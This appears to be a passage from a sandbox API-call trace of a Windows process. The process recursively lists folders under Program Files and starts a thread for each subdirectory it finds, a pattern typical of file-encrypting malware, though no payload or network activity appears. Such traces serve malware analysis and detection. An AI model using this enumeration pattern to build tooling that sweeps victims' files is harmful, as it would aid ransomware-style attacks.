lpFindFileData=0x1b863db0 | out: lpFindFileData=0x1b863db0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0090.474] wcscmp (_String1="Runtime", _String2=".") returned 1 [0090.474] wcscmp (_String1="Runtime", _String2="..") returned 1 [0090.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85e990 [0090.475] wcscpy (in: _Dest=0x1b85e990, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0090.475] wcscat (in: _Dest=0x1b85e990, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\" [0090.475] wcscat (in: _Dest=0x1b85e990, _Source="Runtime" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" [0090.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0090.475] FindNextFileW (in: hFindFile=0x1b7ceb20, lpFindFileData=0x1b863db0 | out: lpFindFileData=0x1b863db0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0090.475] FindClose (in: hFindFile=0x1b7ceb20 | out: hFindFile=0x1b7ceb20) returned 1 [0090.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863db0) returned 1 [0090.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7865f0) returned 1 [0090.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 Thread: id = 150 os_tid = 0xafc [0086.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85c4e0 [0086.252] wcscpy (in: _Dest=0x1b85c4e0, _Source="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" [0086.252] wcscat (in: _Dest=0x1b85c4e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\" [0086.252] wcscat (in: _Dest=0x1b85c4e0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*" [0086.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b865020 [0086.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x1b865020 | out: lpFindFileData=0x1b865020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0086.253] wcscmp (_String1=".", _String2=".") returned 0 [0086.253] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b865020 | out: lpFindFileData=0x1b865020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.253] wcscmp (_String1="..", _String2=".") returned 1 [0086.253] wcscmp (_String1="..", _String2="..") returned 0 [0086.253] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b865020 | out: lpFindFileData=0x1b865020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0086.253] wcscmp (_String1="v1.0", _String2=".") returned 1 [0086.253] wcscmp (_String1="v1.0", _String2="..") returned 1 [0086.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85c570 [0086.253] wcscpy (in: _Dest=0x1b85c570, _Source="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" [0086.253] wcscat (in: _Dest=0x1b85c570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\" [0086.253] wcscat (in: _Dest=0x1b85c570, _Source="v1.0" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" [0097.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85c570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc [0097.402] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b865020 | out: lpFindFileData=0x1b865020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0097.402] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0097.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b865020) returned 1 [0097.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c4e0) returned 1 [0097.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d5f0) returned 1 Thread: id = 151 os_tid = 0x664 [0086.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858eb0 [0086.254] wcscpy (in: _Dest=0x1b858eb0, _Source="C:\\Program Files\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft" [0086.255] wcscat (in: _Dest=0x1b858eb0, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\" [0086.255] wcscat (in: _Dest=0x1b858eb0, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\*" [0086.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b866290 [0086.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x1b866290 | out: lpFindFileData=0x1b866290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858f10 [0086.256] wcscmp (_String1=".", _String2=".") returned 0 [0086.256] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1b866290 | out: lpFindFileData=0x1b866290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.256] wcscmp (_String1="..", _String2=".") returned 1 [0086.256] wcscmp (_String1="..", _String2="..") returned 0 [0086.256] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1b866290 | out: lpFindFileData=0x1b866290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0086.256] wcscmp (_String1="Windows Workflow Foundation", _String2=".") returned 1 [0086.256] wcscmp (_String1="Windows Workflow Foundation", _String2="..") returned 1 [0086.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85c600 [0086.256] wcscpy (in: _Dest=0x1b85c600, _Source="C:\\Program Files\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft") returned="C:\\Program Files\\MSBuild\\Microsoft" [0086.256] wcscat (in: _Dest=0x1b85c600, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\" [0086.256] wcscat (in: _Dest=0x1b85c600, _Source="Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0090.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85c600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d0 [0090.477] FindNextFileW (in: hFindFile=0x1b858f10, lpFindFileData=0x1b866290 | out: lpFindFileData=0x1b866290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0090.478] FindClose (in: hFindFile=0x1b858f10 | out: hFindFile=0x1b858f10) returned 1 [0090.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866290) returned 1 [0090.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858eb0) returned 1 [0090.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 Thread: id = 152 os_tid = 0x5cc [0086.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0xeb450 [0086.257] wcscpy (in: _Dest=0xeb450, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0086.257] wcscat (in: _Dest=0xeb450, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\" [0086.257] wcscat (in: _Dest=0xeb450, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\*" [0086.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b867500 [0086.258] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x1b867500 | out: lpFindFileData=0x1b867500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858f70 [0086.258] wcscmp (_String1=".", _String2=".") returned 0 [0086.258] FindNextFileW (in: hFindFile=0x1b858f70, lpFindFileData=0x1b867500 | out: lpFindFileData=0x1b867500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.258] wcscmp (_String1="..", _String2=".") returned 1 [0086.258] wcscmp (_String1="..", _String2="..") returned 0 [0086.258] FindNextFileW (in: hFindFile=0x1b858f70, lpFindFileData=0x1b867500 | out: lpFindFileData=0x1b867500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0086.258] wcscmp (_String1="Framework", _String2=".") returned 1 [0086.258] wcscmp (_String1="Framework", _String2="..") returned 1 [0086.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85e110 [0086.258] wcscpy (in: _Dest=0x1b85e110, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0086.258] wcscat (in: _Dest=0x1b85e110, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\" [0086.258] wcscat (in: _Dest=0x1b85e110, _Source="Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" [0090.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8 [0090.479] FindNextFileW (in: hFindFile=0x1b858f70, lpFindFileData=0x1b867500 | out: lpFindFileData=0x1b867500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0090.479] FindClose (in: hFindFile=0x1b858f70 | out: hFindFile=0x1b858f70) returned 1 [0090.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867500) returned 1 [0090.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xeb450) returned 1 [0090.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 Thread: id = 153 os_tid = 0x648 [0086.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858fd0 [0086.259] wcscpy (in: _Dest=0x1b858fd0, _Source="C:\\Program Files\\Windows Journal\\en-US" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US") returned="C:\\Program Files\\Windows Journal\\en-US" [0086.259] wcscat (in: _Dest=0x1b858fd0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US\\") returned="C:\\Program Files\\Windows Journal\\en-US\\" [0086.259] wcscat (in: _Dest=0x1b858fd0, _Source="*" | out: _Dest="C:\\Program Files\\Windows Journal\\en-US\\*") returned="C:\\Program Files\\Windows Journal\\en-US\\*" [0086.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b868770 [0086.259] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859030 [0086.261] wcscmp (_String1=".", _String2=".") returned 0 [0086.261] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.261] wcscmp (_String1="..", _String2=".") returned 1 [0086.261] wcscmp (_String1="..", _String2="..") returned 0 [0086.261] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0086.262] wcscmp (_String1="JNTFiltr.dll.mui", _String2=".") returned 1 [0086.262] wcscmp (_String1="JNTFiltr.dll.mui", _String2="..") returned 1 [0086.262] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwdui.dll.mui", cAlternateFileName="")) returned 1 [0086.262] wcscmp (_String1="jnwdui.dll.mui", _String2=".") returned 1 [0086.262] wcscmp (_String1="jnwdui.dll.mui", _String2="..") returned 1 [0086.262] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jnwmon.dll.mui", cAlternateFileName="")) returned 1 [0086.262] wcscmp (_String1="jnwmon.dll.mui", _String2=".") returned 1 [0086.262] wcscmp (_String1="jnwmon.dll.mui", _String2="..") returned 1 [0086.262] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Journal.exe.mui", cAlternateFileName="")) returned 1 [0086.262] wcscmp (_String1="Journal.exe.mui", _String2=".") returned 1 [0086.262] wcscmp (_String1="Journal.exe.mui", _String2="..") returned 1 [0086.262] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPVWCTL.DLL.mui", cAlternateFileName="")) returned 1 [0086.262] wcscmp (_String1="MSPVWCTL.DLL.mui", _String2=".") returned 1 [0086.262] wcscmp (_String1="MSPVWCTL.DLL.mui", _String2="..") returned 1 [0086.262] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NBMapTIP.dll.mui", cAlternateFileName="")) returned 1 [0086.262] wcscmp (_String1="NBMapTIP.dll.mui", _String2=".") returned 1 [0086.262] wcscmp (_String1="NBMapTIP.dll.mui", _String2="..") returned 1 [0086.262] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 1 [0086.262] wcscmp (_String1="PDIALOG.exe.mui", _String2=".") returned 1 [0086.262] wcscmp (_String1="PDIALOG.exe.mui", _String2="..") returned 1 [0086.262] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 0 [0086.262] FindClose (in: hFindFile=0x1b859030 | out: hFindFile=0x1b859030) returned 1 [0086.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868770) returned 1 [0086.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858fd0) returned 1 [0086.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce7c0) returned 1 Thread: id = 154 os_tid = 0x804 [0086.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0xeb290 [0086.277] wcscpy (in: _Dest=0xeb290, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0086.277] wcscat (in: _Dest=0xeb290, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0086.277] wcscat (in: _Dest=0xeb290, _Source="*" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\*") returned="C:\\Program Files\\Windows Journal\\Templates\\*" [0086.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b868770 [0086.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce7c0 [0086.279] wcscmp (_String1=".", _String2=".") returned 0 [0086.279] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.279] wcscmp (_String1="..", _String2=".") returned 1 [0086.279] wcscmp (_String1="..", _String2="..") returned 0 [0086.279] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 